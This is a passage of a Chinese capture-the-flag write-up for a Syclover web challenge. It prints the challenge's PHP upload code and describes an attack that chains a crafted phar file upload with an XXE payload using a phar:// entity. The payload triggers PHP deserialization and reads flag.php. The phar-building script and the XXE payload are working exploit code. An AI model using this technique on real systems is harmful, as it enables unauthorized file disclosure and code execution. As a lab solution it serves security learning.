vertical-align:middel;"> <textarea type="text" id='divcss5' name="data">

(3)讀取config.php文件內容

//config.php <?php class File{public $filetype;public $filename;public function __wakeup(){echo "wake up ";var_dump(readfile("php://filter/read=convert.base64-encode/resource=flag.php"));}public function check($filetype,$filename){$filename = $filename;$filetype = $filetype;if (($filetype!="image/jpg")&&(substr($filename, strrpos($filename, '.')+1))!= 'jpg') {echo "只允許上傳jpg格式文件";exit();}}public function upload($filetemp){$target_file = getcwd()."/uploads/".md5($filetemp+$_SERVER['HTTP_REFERER']).".jpg";$handle = fopen($filetemp, "r");$content = '';while(!feof($handle)){$content .= fread($handle, 8080);} if (preg_match("/xml|#|SYSTEM|DOCTYPE|fliter|uploads|www/i",$content)){echo "Invalid file!!!!"; exit(); }fclose($handle);if (move_uploaded_file($filetemp, $target_file)) {echo "your file is here:".$target_file;}}}

(4)讀取upload.php文件內容

//upload.php <!DOCTYPE html> <html> <head><title>Ayrain</title> </head> <body> <h3>上傳一個文件,讓我康康你這是什么亂七八糟的東西。</h3> <form action="./upload.php" method="post" enctype="multipart/form-data" type="code" name="code" id="code" class="txt_input" onfocus="if (value =='******'){value =''}" onblur="if (value ==''){value='******'}"><input type="file" name="file" /><input type="submit" name="Check" /> </form></body> </html> <?php error_reporting(0); include("config.php");$filename = $_FILES["file"]["name"];$filetype = $_FILES["file"]["type"];$filetemp = $_FILES["file"]["tmp_name"];$file = new File();$file->check($filetype,$filename);$file->upload($filetemp); ?>

?2、通讀源碼發現獲得flag的點在config.php的File類的wake_up構造方法里,利用上傳點,上傳可以觸發wake_up的phar文件,結合之前的xxe,讀取phar文件進行觸發。

生成phar文件,把下面代碼保存到自己的服務器下面,直接訪問會報錯,需要先將php.ini的phar.readonly選項改為Off,還有把前面的分號注釋符去掉,重啟服務器,然后訪問,會發現在當前目錄生成了一個phar.phar的文件

<?php class File{ public function __wakeup(){ echo "wake up "; } } $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new File(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>

訪問upload.php,上傳生成的phar.phar文件,這里似乎只要將Content-Type改為image/jpg就行了,第二個條件似乎沒有生效

xxe觸發反序列化:

?

<?xml version = "1.0"?> <!DOCTYPE note [<!ENTITY hacker SYSTEM "phar://./uploads/你上傳的文件名"> ]> <name>&hacker;</name>

總結

以上是生活随笔為你收集整理的Syclover-Web题解的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。